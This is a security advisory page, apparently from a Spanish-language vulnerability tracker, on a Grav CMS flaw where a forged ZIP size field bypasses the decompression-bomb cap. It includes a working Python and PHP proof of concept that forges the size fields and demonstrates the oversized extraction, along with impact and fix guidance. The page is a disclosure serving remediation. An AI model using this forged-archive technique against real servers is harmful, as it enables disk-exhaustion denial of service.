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Advisory · GitHub · Packagist · getgrav/grav

GHSA-8H9X-89F2-M7X3

Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.2
Exposición64 dDesde la divulgación, 17 sept 2026, 9:53 a. m.
Detección60 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ni fuego ni humo: solo una tarea pendiente.Bien priorizada, bien dormida.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
17 sept 26
17 nov 26
21 nov 26
17 sept 26
3 oct 26
20 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8H9X-89F2-M7X3 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums `ZipArchive::statIndex($i)['size']` and rejects an archive whose declared uncompressed total exceeds `system.gpm.archive.max_uncompressed_size` (default 1 GiB) before extracting (`ZipArchiver.php:77-86`; same logic in `GPM\Installer::unZip` at `Installer.php:228-238`). `statIndex()['size']` is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while `extractTo()` writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.

Details

`extract()`/`unZip()` validate every entry up front, then call `Folder::create` + `extractTo`. The size check is:

$totalSize += (int) $stat['size'];          // declared central-directory size
if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }

`$stat['size']` is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during `extractTo`, so a forged-small value passes the gate and the real stream inflates to disk. The `max_files` (entry count) and `max_depth` (entry-name segments) checks are not forgeable this way.

PoC

Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:

import zipfile, struct
data = b'\x00' * (10*1024*1024)
with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP_DEFLATED) as z:
    z.writestr('big.bin', data)
raw = bytearray(open('bomb.zip','rb').read())
raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))
open('bomb_forged.zip','wb').write(raw)

Drive the exact pre-extraction loop, then extract:

$zip = new ZipArchive(); $zip->open('bomb_forged.zip');
$total = 0;
for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }
// => $total === 1   (what the 1 GiB bound checks: PASSES)
$zip->extractTo('/tmp/zout');
// => filesize('/tmp/zout/big.bin') === 10485760   (written despite the cap)

Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.

Impact

A forged archive fills the disk / exhausts inodes during extraction. Reached via `GPM\Installer::unZip` (`gpm install` / `direct-install` / `self-upgrade`) and admin backup restore (`ZipArchiver::extract`). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.

Fix

`ZipArchiver.php:77-86` and `Installer.php:228-238`: don't trust the declared size. Extract each entry through a counting stream (`ZipArchive::getStream` + `fread` loop) and abort once cumulative written bytes pass `max_uncompressed_size`, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. `max_files` and `max_depth` remain effective.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav≥ 2.0.1 < 2.0.2
2.0.1
2.0.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.2 — —
Versiones corregidas2.0.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61449
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61841
Otrahttps://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3
Otrahttps://github.com/getgrav/grav
Otrahttps://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.